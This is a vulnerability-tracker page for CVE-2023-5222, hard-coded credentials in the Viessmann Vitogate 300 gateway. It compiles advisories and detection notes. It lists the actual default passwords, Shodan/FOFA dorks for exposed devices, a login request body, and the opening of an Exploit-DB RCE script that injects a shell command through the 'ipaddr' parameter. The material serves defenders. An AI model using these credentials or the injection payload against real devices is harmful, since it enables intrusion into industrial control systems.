CVE-2023-5222
published 2023-09-27CVE-2023-5222: A vulnerability classified as critical was found in Viessmann Vitogate 300 up to 2.1.3.0. This vulnerability affects the function isValidUser of the file…
PriorityP190critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
74.70%
99.4th percentile
A vulnerability classified as critical was found in Viessmann Vitogate 300 up to 2.1.3.0. This vulnerability affects the function isValidUser of the file /cgi-bin/vitogate.cgi of the component Web Management Interface. The manipulation leads to use of hard-coded password. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-240364. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| viessmann | vitogate_300 | — | — |
| viessmann | vitogate_300 | — | — |
| viessmann | vitogate_300 | — | — |
| viessmann | vitogate_300 | — | — |
| viessmann | vitogate_300_firmware | <= 2.1.3.0 | — |
Detection & IOCsextracted from sources · hover to see the quote
commandPOST /cgi-bin/vitogate.cgi HTTP/1.1 Content-Type: application/json {"method":"put","form":"form-login","params":{"uid":"{{username}}","pwd":"{{password}}"}}↗
- →Shodan dork to identify exposed Vitogate 300 devices: http.title:'Vitogate 300' ↗
- →FOFA query to identify exposed Vitogate 300 devices: title="Vitogate 300" ↗
- →Detect authentication attempts using hardcoded credentials (vitomaster/viessmann1917 or vitogate/viessmann) via POST to /cgi-bin/vitogate.cgi with JSON body containing 'form-login' ↗
- →Detect command injection attempts: POST to /cgi-bin/vitogate.cgi with JSON body containing 'form-4-7' and shell metacharacters in the 'ipaddr' parameter (e.g., '1;<command>') ↗
- →Successful exploitation response contains both 'admin":true' and '"sessionId":' in the JSON response body with HTTP 200 and Content-Type application/json ↗
- ·The exploit targets /cgi-bin/vitogate.cgi on port 80 by default; the port is configurable in the exploit script. ↗
- ·The vulnerability affects Vitogate 300 versions 2.1.3.0 and prior; version 3.0.0.0 is the patched release. ↗
- ·CVE-2023-5222 (hardcoded credentials) is chained with CVE-2023-45852 (command injection via ipaddr shell metacharacters) to achieve full unauthenticated RCE. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.05.8MEDIUMAV:A/AC:L/Au:N/C:P/I:P/A:P
vulncheck6.3MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-cm4f-g738-hp2g: A vulnerability classified as critical was found in Viessmann Vitogate 300 up to 2
ghsa_unreviewed·2023-09-27
CVE-2023-5222 [MEDIUM] CWE-259 GHSA-cm4f-g738-hp2g: A vulnerability classified as critical was found in Viessmann Vitogate 300 up to 2
A vulnerability classified as critical was found in Viessmann Vitogate 300 up to 2.1.3.0. This vulnerability affects the function isValidUser of the file /cgi-bin/vitogate.cgi of the component Web Management Interface. The manipulation leads to use of hard-coded password. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-240364. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
VulnCheck
viessmann vitogate_300_firmware Use of Hard-coded Password
vulncheck·2023·CVSS 6.3
CVE-2023-5222 [MEDIUM] viessmann vitogate_300_firmware Use of Hard-coded Password
viessmann vitogate_300_firmware Use of Hard-coded Password
A vulnerability classified as critical was found in Viessmann Vitogate 300 up to 2.1.3.0. This vulnerability affects the function isValidUser of the file /cgi-bin/vitogate.cgi of the component Web Management Interface. The manipulation leads to use of hard-coded password. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-240364. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
Affected: viessmann vitogate_300_firmware
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/s
CISA ICS
Viessmann Climate Solutions SE Vitogate 300
cisa_ics·2024-09-10·CVSS 6.3
[MEDIUM] Viessmann Climate Solutions SE Vitogate 300
ICS Advisory
##
Viessmann Climate Solutions SE Vitogate 300
Release DateSeptember 10, 2024
Alert CodeICSA-24-254-01
Related topics:
Industrial Control System Vulnerabilities, Industrial Control Systems
View CSAF
## 1. EXECUTIVE SUMMARY
- CVSS v4 9.3
- ATTENTION: Exploitable remotely/low attack complexity/public exploits are available
- Vendor: Viessmann Climate Solutions SE
- Equipment: Vitogate 300
- Vulnerabilities: Use of Hard-coded Credentials, Forced Browsing, Command Injection
## 2. RISK EVALUATION
Successful exploitation of these vulnerabilities could allow an attacker to achieve remote code execution.
## 3. TECHNICAL DETAILS
## 3.1 AFFECTED PRODUCTS
The following versions of Viessmann Climate Solutions SE Vitogate 300, a solution to connectin
No detection rules found.
Exploit-DB
Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE)
exploitdb·2024-03-14·CVSS 6.3
CVE-2023-5702 [MEDIUM] Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE)
Viessmann Vitogate 300 2.1.3.0 - Remote Code Execution (RCE)
---
#- Exploit Title: Viessmann Vitogate 300 <= 2.1.3.0 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:'Vitogate 300'
#- Exploit Author: ByteHunter
#- Email: [email protected]
#- Version: versions up to 2.1.3.0
#- Tested on: 2.1.1.0
#- CVE : CVE-2023-5702 & CVE-2023-5222
import argparse
import requests
def banner():
banner = """
╔═══════════════════════════════════╗
CVE-2023-5702
Vitogate 300 RCE
Author: ByteHunter
╚═══════════════════════════════════╝
"""
print(banner)
def send_post_request(target_ip, command, target_port):
payload = {
"method": "put",
"form": "form-4-7",
"session": "",
"params": {
"ipaddr": f"1;{command}"
}
}
headers = {
"Host": target_ip,
"Content-Length": str(len(str(payload))),
"Conte
Nuclei
Viessmann Vitogate 300 - Hardcoded Password
nuclei·CVSS 9.8
CVE-2023-5222 [CRITICAL] Viessmann Vitogate 300 - Hardcoded Password
Viessmann Vitogate 300 - Hardcoded Password
A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
Template:
id: CVE-2023-5222
info:
name: Viessmann Vitogate 300 - Hardcoded Password
author: ritikchaddha
severity: critical
description: |
A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
impact: |
An attacker could potentially gain unauthorized access to the device.
remediation: |
Update the device firmware to remove the hardcoded password or change it to a strong, unique password.
reference:
- https://vuldb.com/?ctiid.240364
- https://vuldb.com/?id.240364
- https://nvd.nist.go
No writeups or analysis indexed.
2023-09-27
Published
Exploited in the wild